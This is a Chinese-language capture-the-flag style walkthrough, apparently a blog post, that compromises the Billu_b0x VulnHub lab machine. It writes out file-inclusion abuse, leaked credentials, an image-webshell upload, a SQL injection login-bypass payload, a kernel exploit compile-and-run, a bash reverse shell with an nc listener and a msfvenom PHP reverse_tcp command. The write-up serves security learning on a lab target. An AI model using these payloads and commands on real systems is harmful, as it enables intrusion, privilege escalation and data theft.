靶机渗透学习----Billu_b0x

靶机下载地址及安装环境

靶机下载地址:https://download.vulnhub.com/billu/

靶机环境:处于net网络下的VM虚拟机

渗透实战

攻击机:192.168.146.131

靶   机:192.168.146.133(扫描后得到的)

1.安装完后,由于不知道node靶机的地址,所以渗透第一步就是发现主机:


1)使用nmap快速扫描,发现存活主机:

nmap -sn 192.168.146.0/24


2)使用arp扫描:
 

arp-scan -l


2.扫描靶机开放的端口,以及版本信息

nmap -sS  192.168.146.133

靶机渗透学习----Billu_b0x_第1张图片

 

3.访问web页面

192.168.146.133

靶机渗透学习----Billu_b0x_第2张图片
 

看到这个页面或许你们会想到通过sql注入,直接进去,但是小编我坚信还是有其它办法的(实话说,小编的sql注入水平着实差),所以路径扫描来一波

使用工具:DirBuster-1.0-RC1.jar 

靶机渗透学习----Billu_b0x_第3张图片

可以看到扫出来的东西还是挺多的,也许小编就避免了sql注入这一关(偷笑)

对扫出来的页面进行逐个访问,经过筛选过滤得,肉眼看得到有用的页面,就 test.php, in.php , add.php

但是,注意!!!  add.php是个假的upload。。。。。

in.php (可以进行远程文件包含)

靶机渗透学习----Billu_b0x_第4张图片

test.php(文件包含)

靶机渗透学习----Billu_b0x_第5张图片

4.test.php 文件包含

test.php可以进行文件远程包含,参数为  file

但是,在get传参file的值,经过多次实验还是没有读取到任何一个文件的源码,首先你会怀疑 这是不是假的,其次是这个靶场是wa掉了(别问我为什么知道你内心活动,那是因为小编也是这么想的。。。。。。)为什么一直读不到

但是小编告诉你,靶场没坏,这也确实真真存在文件包含漏洞,只是file得参数传入的方式有问题,这里需要POST传参。

工具使用:burpsuit

靶机渗透学习----Billu_b0x_第6张图片

 

这下,可以确定了,继续读取其他文件

当然,读到了index.php文件的时候,小编心里是非常不好受的,居然sql注入。。。。

继续读下去,读到c.php文件的时候,终于啊,有点我喜欢的东西出来了


  " . mysqli_connect_error();
  }

?>

可以很清楚的看到,有数据库的登陆账号密码 billu/b0x_billu,尝试ssh连接

靶机渗透学习----Billu_b0x_第7张图片

连接失败,换个思路,那么应该是有数据库后台的

对数据库后台登陆页面进行扫描爆破,最终得到 /myphp路径,登陆账号 billu/b0x_billu 得:

靶机渗透学习----Billu_b0x_第8张图片

靶机渗透学习----Billu_b0x_第9张图片

返回首页登陆账号:

靶机渗透学习----Billu_b0x_第10张图片

通过test.php文件包含读取panel.php源码

file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);
							  
							}
				}
			else
			{
				echo "
i told you dear, only png,jpg and gif file are allowed"; } } else { echo "
only png,jpg and gif file are allowed"; } } } ?>

审计一下上面的代码,发现只能上传图片马,而且这个页面存在文件包含漏洞

5.上传图片马并连接

靶机渗透学习----Billu_b0x_第11张图片

由上面得路径,可以看出上传的图片放在  uploaded_images里

靶机渗透学习----Billu_b0x_第12张图片

利用panel.php的文件包含,连接我们上传得图片马

工具:蚁剑

靶机渗透学习----Billu_b0x_第13张图片

靶机渗透学习----Billu_b0x_第14张图片

靶机渗透学习----Billu_b0x_第15张图片

 

6.提权

直接使用蚁剑自带的虚拟终端,获得内核版本3.13.0

 

靶机渗透学习----Billu_b0x_第16张图片

 

1)利用kali本机自带的exp,进行提权

searchsploit 3.13.0

靶机渗透学习----Billu_b0x_第17张图片

上传exp到  uploaded_images

靶机渗透学习----Billu_b0x_第18张图片

编译运行exp

gcc 37292.c -o test

./test

靶机渗透学习----Billu_b0x_第19张图片

可以看到有 root权限的#,应该是可以进入root的,但是不造为啥由于蚁剑的终端会这样,那么我们就需要尝试反弹shell到kaili,再提权

再一次上传命令执行的马(system)到uploaded_images下,执行url编码好的bash反弹命令,

在kali  nc监听一下,得到反弹shell

在exp目录下执行 ./test 得到root权限

 

2)使用msfvenom生成的一个php后门进行提权

msfvenom -p php/merterpreter/reverse_tcp lhost=192.168.146.131 lport=6666 -f raw > exp.php

靶机渗透学习----Billu_b0x_第20张图片

打开msf命令界面,并且配置好参数,在后台运行

靶机渗透学习----Billu_b0x_第21张图片

上传exp.php文件,并访问exp.php文件,得到shell

靶机渗透学习----Billu_b0x_第22张图片

在meterpreter进入shell模式,运行生成好的  test 文件

靶机渗透学习----Billu_b0x_第23张图片

 

----------------------------------------------------------------完美的分割线---------------------------------------------------------------------------------------

 

继上次的爆破后台路径得到数据库后台登陆地址为  /phpmy

在对http://192.168.146.133/phpmy 进行路径扫描,可以扫到他的配置文件 config.inc.php

由系统为ubuntu 可 推测 phpmy 在路径 /var/www 下

用teat.php 文件包含得:

靶机渗透学习----Billu_b0x_第24张图片


kali直接ssh远程连接得

靶机渗透学习----Billu_b0x_第25张图片

 

----------------------------------------------------------------有一次华丽分割线---------------------------------------------------------------------------------

 

通过test.php文件包含漏洞读取index.php文件,查看sql语句地绕过机制

靶机渗透学习----Billu_b0x_第26张图片


--==[[ billu b0x ]]==-- 


Show me your SQLI skills
Username :-   Password:-

'; } if(isset($_POST['login'])) { $uname=str_replace('\'','',urldecode($_POST['un'])); $pass=str_replace('\'','',urldecode($_POST['ps'])); $run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''; $result = mysqli_query($conn, $run); if (mysqli_num_rows($result) > 0) { $row = mysqli_fetch_assoc($result); echo "You are allowed
"; $_SESSION['logged']=true; $_SESSION['admin']=$row['username']; header('Location: panel.php', true, 302); } else { echo ""; } } echo "B0X Powered By Pirates "; ?>

审阅源码:

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'

str_replace的作用是将字符串\’ 替换为空,因此构造SQL注入登录payload时,必须含有\’字符串,否则会报错。urldecode的作用是将输入解码。

常用的注入登陆的绕过语句是   'or 1=1 --

而又必须含有   \' ,则有

'or 1=1 -- \'

登陆账号 'or 1=1 -- \'

登陆密码 'or 1=1 -- \'

即:

靶机渗透学习----Billu_b0x_第27张图片

靶机渗透学习----Billu_b0x_第28张图片

剩下的步骤和上面的步骤一样,上传图片,拿shell再提权即可

 

 

 

你可能感兴趣的:(渗透靶机学习,提权)